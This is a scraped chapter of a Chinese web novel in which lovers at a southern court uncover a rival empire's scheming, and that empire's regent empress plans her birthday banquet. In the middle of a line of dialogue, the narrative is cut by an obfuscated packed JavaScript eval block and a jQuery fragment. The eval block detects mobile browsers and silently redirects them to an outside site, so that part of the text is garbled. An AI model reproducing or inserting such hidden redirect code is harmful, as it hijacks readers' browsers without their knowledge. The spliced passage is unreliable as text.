155. 155

作品:《虞跃青云上

    季无虞再醒来时,已经是在祁言的床上了,她侧身望去在安神香的烟雾缭绕中望见了祁言的脸。


    祁言闻见声响便起身走来,坐到床上,“醒了,要不要再多睡会?”


    季无虞探头看了眼窗外,“现在什么时候了?”


    “亥时了。”


    “我怎么睡这么久?”季无虞吓得赶紧从床上爬起来,“你怎么也不叫醒我?”


    祁言抓着季无虞的手,把她按到自己怀中,“没事,你那些公文我叫留葵送来了,已经批过了。”


    说完还自作聪明地添上一句,“放心,仿的你的笔迹。”


    季无虞的脸没有自己想象中的欣喜,她闻言脸一下就垮了下来,“以后不要这样了。”


    “嗯?”


    祁言后知后觉自己好像做错了事,想离季无虞近点,她却直接起身来,顿了顿后想到公文这玩意又不能给他再写一次,便又坐回祁言身边,带着责备地说道:“最后一次。”


    听她那哄小孩的语气,祁言就知道她不生气,忙凑过去说“好”。


    “这会子是回不去了,一会看看能不能翻个墙吧。”季无虞打了个哈欠,“刚好我有事问你。”


    本因她要走就把脸给耷拉下来的祁言又认真起来,“什么事?”


    “那个杨旷……不会是杨家的人吧?”


    “对,杨家外放的这些年,他一直效力于徐州军。”祁言顿了顿,“卫摘好似很欣赏他。”


    “若非主将提携,他这种情况很难被陛下赏识吧。”


    “赏不赏识另说,陛下都不一定认识他。”


    “啊?”


    “今年初他把杨允义调回郅都我其实便已经觉着已经有些奇怪了,又这般要提拔杨旷,路人皆知啊。”


    “毕竟是他的母族。”


    祁言眯了眯眼,“登基这般多年没想起母族,现在想起来了?”


    季无虞心领神会,嗤笑一声,“你不担心吗?”


    “杨旷是个有才之人,若不是受杨家所累也不至于在徐州蹉跎这般久,重用是应该的。”


    “我只想劝你小心点,还尚有储家这个前车之鉴在,别顾了前边,后头被人偷家了。”


    “我本就无所谓这些,等我做完想做的。”祁言道,“他想要,就给他。”


    季无虞自然知道他想要的收复中土十二州,这般多年,他重视农业,奖励垦荒,在国力逐步提高的同时不断充沛军队,为的就是有朝一日能够有底气向北辰开战。


    只可惜西氐早来了一步,这一场战事所带来的损失,没有人比季无虞要更清楚的了。


    “今年的秋税还未收上来,朝廷各项开支减不了,我算过这笔账,若是不能赶在冬天前打完,国库经不起这般耗了。”


    “情况我已经和辜振越说了,西氐人比我们原先想的要顽强得多,好在是已经打到沧水江旁,等过了江,便可一举歼灭西氐。”


    还正聊着呢,窗外便传来一阵声响,两人看去,是辜振越的海东青。


    “西塞传来的?”


    “是。”


    祁言伸出手,海东青停在了他的手背上,而它的爪子上缠着一封卷起来的纸条,祁言打开来看,面色愈发凝重。


    季无虞见状心下一惊,拿过纸条一看。


    “北辰。”季无虞有些不可思议,“西氐这次背后居然真的是北辰?”


    祁言的脸已经完全冷了下来,他拳头紧攥,额上青筋突起,眸底只余阴戾,“如今证据确凿,没什么好说的,她想借着西氐耗尽我朝国力,最后好坐收渔翁之利,真是好算盘啊。”


    季无虞紧握着他的手试图让祁言冷静下来,“西氐是万万不能留的,如今与北辰开战却也不是良策。”


    祁言的怒气稍稍平静了些,“你的意思是……”


    “和谈,必须和谈。”季无虞皱着眉,“再这般下去,要是他们徒然乘虚而入,后果不堪设想。”


    “只是……”季无虞开始陷入新一轮的思考,“要找个什么由头呢。”


    祁言抿了抿唇,“有的。”


    季无虞抬眼。


    祁言的面色有些奇怪,“北辰太后的生辰。”


    “这确实是个好由头,既不突兀的话也不至于打草惊蛇,等一下……”季无虞后知后觉,忽然看向祁言,“你,怎么记得那般清楚?”


    祁言在北辰的事情,季无虞向来是不会特意去提起的,只是若是连人的生辰都记得这般清楚,季无虞还是忍不住发问了。


    见祁言有些犹豫,季无虞最后撇了撇嘴,“算了,你要不愿讲也没事,过去了咱就过去了。”


    祁言反而是顿了一下,“你不介意?”


    季无虞沉默了。


    “不是,”季无虞眼睛瞪大了,“你俩真好过?”


    “那没有。”


    祁言眼神很真诚,季无虞也自会信他,“那不得了。”


    季无虞不敢和他说自己确实不介意他俩有过,要说了指不定还拉着做一次,季无虞是折腾不起了,只得心里骂一句男人在这方面确实心眼小得和那芝麻粒似的。


    “不过……”好奇心驱使季无虞多问了一嘴,


    “萧姝未,应该还挺厉害的吧。”


    “她靠着母族凤临天下却杀父立子,临朝听政后却一点一点地拔除了萧家在朝中的所有势力,这般多年大权独揽当然厉害,况且如今北辰那个小皇帝年纪又小,性子又弱,只怕大了些都未必能亲政。”


    “那些大臣不会有意见吗?”


    “有啊。”祁言想了想这些年从北辰传来的密报,“但这么多年她善用宦官来对付朝中清流,为首的那个叫谈厚的,手段毒辣,一切敢反对的,几乎都死在了他的手里。”


    “阉人无根无后,一切权力都依附于皇权,在某种程度上是把极其称手的刀,可若是放任其蔓延而不加约束,这刀刃就不知道要向着谁了。”


    “所以她厉害就厉害在,”祁言看向季无虞,“北辰朝中两党对立,但却始终只听命于她。”


    …………


    太极殿。


    珠帘后,听着诸大臣又吵起来的萧姝未不耐烦的情绪已经到了极点,她起身将面前的帘子直接拨开,底下的大臣纷纷跪下将头埋在地下不敢不看。


    萧姝未斜着眼睛看了眼元胤,元胤被吓得不敢说话,萧姝未不悦地微颦了眉,“皇帝,没事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582168|134895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就退朝吧。”


    “退、退朝。”


    李福全赶紧有眼力见地拿拂尘一扬,高喝道:


    “退朝!”


    萧姝未甚至还没等她念完便由千芍扶着走出了太极殿。


    扶了扶发髻,萧姝未问道:“谈厚回来没?”


    “督公他……指挥使大人!”


    萧姝未刚一偏头,便有人接过她的手,千芍自觉地退到了一边去。


    来人一头白发若雪,如瀑布般垂在身后,面容俊美,长身玉立,萧姝未每每望见都要心中遗憾一句,可惜是个阉人。


    “娘娘,臣恭候多时了。”


    “回了就到宫里去,哪那么多规矩。”


    萧姝未由他牵着回了凤和宫,谈厚规规矩矩伺候她坐下,还贴心地给她按着肩膀。


    这识趣的模样惹得萧姝未凤颜大悦,她勾了勾唇,“还是你最得哀家心意。”


    “娘娘满意便好。”


    “劳得你去西塞那鸟不生蛋的走一遭了,瞧这,瘦了不少。”萧姝未顺手掐了把谈厚的腰,“宫里难得你这么个体贴人,可旁的派过去哀家总是不放心,委屈了。”


    “不委屈的,为娘娘分忧是臣的职责。”


    萧姝未笑意愈浓,转而又问道:“西塞那边,什么情况啊?”


    “格日拉图终是个不中用的,送过去那般多的东西,最后还是被南楚给打到了沧水江。”


    “本也没指望他能把南楚怎么样,蛮夷之地。”萧姝未冷哼一声,眼中尽是鄙夷,“这沧水江要是给过了,西氐就等着俯首称臣奉南楚为宗主吧。”


    “西氐本是条喂不熟的狼,安静不了几年便又会去骚扰南楚边境的,咱们只需看戏就好。”谈厚低垂着眼,面有讨好之色,“只是现下最打紧的,还是娘娘的生辰,这次生辰……”


    瞧谈厚低眉顺眼的样子,萧姝未便知着他什么意思,轻笑一声,“还是你办吧,哀家放心。”


    谈厚的笑意都藏不住,连连道:“娘娘厚爱!”


    萧姝未很享受谈厚的奉承,眯了眼忽然又道:“哦对了,上席留个位,要离哀家近点。”


    “娘娘是要宴请什么贵客吗?臣好去准备。”


    萧姝未顿了顿,“是故交。”


    “娘娘的故交那可不就是贵客吗。”谈厚谄媚一笑,“兖州又送来了几盆一尺雪,可要在上席多备上两盆?”


    萧姝未想起自己曾经送去南楚的那两盆,当时魏千律回国后在自己面前哭得一把鼻涕一把泪的说受了天大的委屈,自己当时气得脸都要绿了,还得好生安慰两番。


    “不用了,他也不一定会来。”


    谈厚暗暗吃惊这人得多大脸才能在一国掌权太后的生辰宴说来就来说走就走。


    “把那一尺雪端上来吧。”


    萧姝未突然发话,谈厚立马便给千芍使了颜色,不一会那一尺雪便到了萧姝未手里,她细细拨弄几番,赤红的蔻丹衬得花瓣愈发雪白,“这般多年了,一点都没变。”


    “万物有灵,娘娘喜欢,它自然是不敢轻易变的。”


    萧姝未少有的没有接他奉承话的茬,就这么望着面前不染纤尘的一尺雪,细细摸着。